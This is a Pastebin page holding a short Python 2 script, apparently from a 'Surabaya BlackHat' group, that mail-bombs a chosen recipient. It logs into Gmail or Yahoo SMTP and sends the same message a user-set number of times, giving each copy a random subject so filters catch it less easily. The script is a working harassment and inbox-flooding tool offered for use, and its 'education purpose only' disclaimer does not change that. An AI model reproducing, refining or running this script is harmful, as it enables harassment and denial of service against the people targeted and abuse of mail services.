Advertisement
meninbox

bommail with python

Feb 23rd, 2013
536
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.33 KB | None | 0 0
  1. #!/usr/bin/python
  2. #pybombmail.py by aBi71
  3. #This code for education purpose only.
  4. #Edited by MeNinBoX from Surabaya BlackHat
  5. #Use it at your own risk !!!
  6.  
  7. import os
  8. import smtplib
  9. import getpass
  10. import sys
  11.  
  12.  
  13. server = raw_input ('Server Mail: ')
  14. user = raw_input('Username: ')
  15. passwd = getpass.getpass('Password: ')
  16.  
  17.  
  18. to = raw_input('\nTo: ')
  19. #subject = raw_input('Subject: ')
  20. body = raw_input('Message: ')
  21. total = input('Number of send: ')
  22.  
  23. if server == 'gmail':
  24. smtp_server = 'smtp.gmail.com'
  25. port = 587
  26. elif server == 'yahoo':
  27. smtp_server = 'smtp.mail.yahoo.com'
  28. port = 25
  29. else:
  30. print 'Applies only to gmail and yahoo.'
  31. sys.exit()
  32.  
  33. print ''
  34.  
  35. try:
  36. server = smtplib.SMTP(smtp_server,port)
  37. server.ehlo()
  38. if smtp_server == "smtp.gmail.com":
  39. server.starttls()
  40. server.login(user,passwd)
  41. for i in range(1, total+1):
  42. subject = os.urandom(9)
  43. msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  44. server.sendmail(user,to,msg)
  45. print "\rTotal emails sent: %i" % i
  46. sys.stdout.flush()
  47. server.quit()
  48. print '\n Done !!!'
  49. except KeyboardInterrupt:
  50. print '[-] Canceled'
  51. sys.exit()
  52. except smtplib.SMTPAuthenticationError:
  53. print '\n[!] The username or password you entered is incorrect.'
  54. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement